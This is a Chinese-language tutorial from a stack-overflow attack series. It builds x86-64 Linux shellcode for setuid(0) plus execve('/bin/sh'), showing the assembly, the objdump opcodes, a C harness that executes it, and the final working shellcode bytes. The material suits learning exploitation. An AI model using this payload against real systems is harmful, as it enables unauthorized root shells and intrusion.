栈溢出攻击系列:shellcode在linux x86 64位攻击获得root权限(二)shellcode

shellcode 是一组指令opcode, 是可以被程序运行,因为shellcode是要直接操作寄存器和函数,所以opcode 必须是十六进制的形式。

既然是攻击,那shellcode 主要的目的是调用系统函数,而在x86下 在linux下有两种方式。

第一种是通过直接调用中断 int 0x80进入内核态,从而达到调用目的。

第二种是通过调用libc里syscall(64位)和sysenter(32位)

而目前在64位linux中推荐使用syscall,因为opcode是16进制的指令集合,可以通过先出汇编代码,然后编译成执行代码,最后查看opcode.

既然我们是想获得root权限,而且能够继续执行shell, 那么我们通常会使用下面代码(先不讨论linux相关的知识)。

shell.c

#include <stdio.h>
int main(){
setuid(0);
execve("/bin/sh",NULL,NULL);
}
而所对应的汇编代码如下

global _start

_start:

xor rdi,rdi
xor rax,rax
mov al,0x69
syscall

xor rdx, rdx
mov rbx, 0x68732f6e69622fff
shr rbx, 0x8
push rbx
mov rdi, rsp
xor rax, rax
push rax
push rdi
mov rsi, rsp
mov al, 0x3b
syscall
这并不是通过反汇编shell.c 出来的结果,而是通过参考一些资料所得到的,可以参考 点击打开链接
这个代码并不是能够执行的shellcode ,但是我们可以通过编译成可执行文件,而拿到我们需要的opcode

nasm -f elf64 shell.asm   
ld -o shell shell.o
objdump -d shell

注意:在64位下使用使用的elf64 而32位下使用elf32

使用objdump 结果如下:

shell:     file format elf64-x86-64


Disassembly of section .text:

0000000000400080 <_start>:
  400080:       48 31 ff                xor    %rdi,%rdi
  400083:       48 31 c0                xor    %rax,%rax
  400086:       b0 69                   mov    $0x69,%al
  400088:       0f 05                   syscall
  40008a:       48 31 d2                xor    %rdx,%rdx
  40008d:       48 bb ff 2f 62 69 6e    mov    $0x68732f6e69622fff,%rbx
  400094:       2f 73 68
  400097:       48 c1 eb 08             shr    $0x8,%rbx
  40009b:       53                      push   %rbx
  40009c:       48 89 e7                mov    %rsp,%rdi
  40009f:       48 31 c0                xor    %rax,%rax
  4000a2:       50                      push   %rax
  4000a3:       57                      push   %rdi
  4000a4:       48 89 e6                mov    %rsp,%rsi
  4000a7:       b0 3b                   mov    $0x3b,%al
  4000a9:       0f 05                   syscall
~
OK, 中间的48 32 ff 48 31 c0 就是我们需要的可执行的opcode代码
写代码测试我们opcode: 

shelltest.c

#include <stdio.h>
#include <string.h>

char *shellcode = "\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05";

int main(void)
{
fprintf(stdout,"Length: %d\n",strlen(shellcode));
(*(void(*)()) shellcode)();
return 0;
}

gcc -o shelltest shelltest.c
./shelltest

看到执行结果,我们切到了shell 的环境

\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05
就是我们想得到的可以执行的shellcode

注意:

并不是所有的可执行的shellcode都是可以被用于攻击执行的,一来函数未必可以在当前的环境下可被调用,二来也是最重要的一点opcode中不允许有/x0出现,为什么?因为在制造栈溢出的时候,我们利用的是一些危险函数的漏洞,比如strcpy这些函数在调用的时候遇到/x0是作为终止符,那么会导致opcode不能被完整复制。


你可能感兴趣的:(栈溢出)